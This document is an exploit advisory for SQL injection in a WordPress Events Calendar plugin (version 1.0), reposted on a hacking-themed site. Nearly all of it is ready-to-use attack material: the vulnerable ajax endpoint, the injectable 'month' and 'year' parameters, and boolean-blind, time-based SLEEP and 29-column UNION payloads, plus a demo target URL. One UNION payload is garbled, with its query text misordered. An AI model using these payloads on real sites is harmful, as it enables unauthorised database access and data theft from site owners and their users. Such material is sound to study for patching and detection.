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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Wordpress Plugin Events Calendar - SQL Injection
# Dork: N/A
# Date: 2018-05-27
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor: Wachipi
# Vendor Homepage: https://codecanyon.net/item/wp-events-calendar-plugin/5025660
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : An attacker can perform attacks via calendar ajax queries.
# However, this plugin is fully PHP-enabled. You can run SQL query with
# "month" and "year" parameters.
# These parameters are also suitable for XSS attacks.
# All PHP queries for which these parameters work have the same vulnerable.

# "getBookingForm.php, getMonthCalendar.php, getEventsList.php"
# Demo : http://www.checkingarea.com/EVENTS_WP/
# PoC : SQLi :
# GET
/EVENTS_WP/wp-content/plugins/wp-events-calendar/public/ajax/getEventsList.php?year=2018&month=5&day=1&calendar_id=1&pag=1



# Parameter: month (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: 
year=2018&month=5' AND 7958=7958 AND 'FXnO'='FXnO&day=1&calendar_id=1&pag=1

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind
# Payload: 
year=2018&month=5' AND SLEEP(5) AND 'MmZz'='MmZz&day=1&calendar_id=1&pag=1

# Type: UNION query
# Title: MySQL UNION query (NULL) - 29 columns
# Payload: 
year=2018&month=5' UNION ALL SELECT NULL,NULL,CONCAT&day=1&calendar_id=1&pag=1(0x71786a7171,0x424e507748695862436e774c4a4d664a7751424c537678554656465a464b7074685051527676756e,0x7178707071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&calendar_id=1

# Parameter: year (GET)
# Type: boolean-based blind
# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
# Payload: 
year=-8454' OR 7997=7997#&month=5&day=1&calendar_id=1&pag=1

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind
# Payload: 
year=2018' AND SLEEP(5)--
uTJs&month=5&day=1&calendar_id=1&pag=1

# Type: UNION query
# Title: MySQL UNION query (NULL) - 29 columns
# Payload: 
year=2018' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a7171,0x7766694a50504a425a6e635a564b5172674c745770414e4f46494977475a44626b416a6c797a674b,0x7178707071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&month=5&day=1&calendar_id=1&pag=1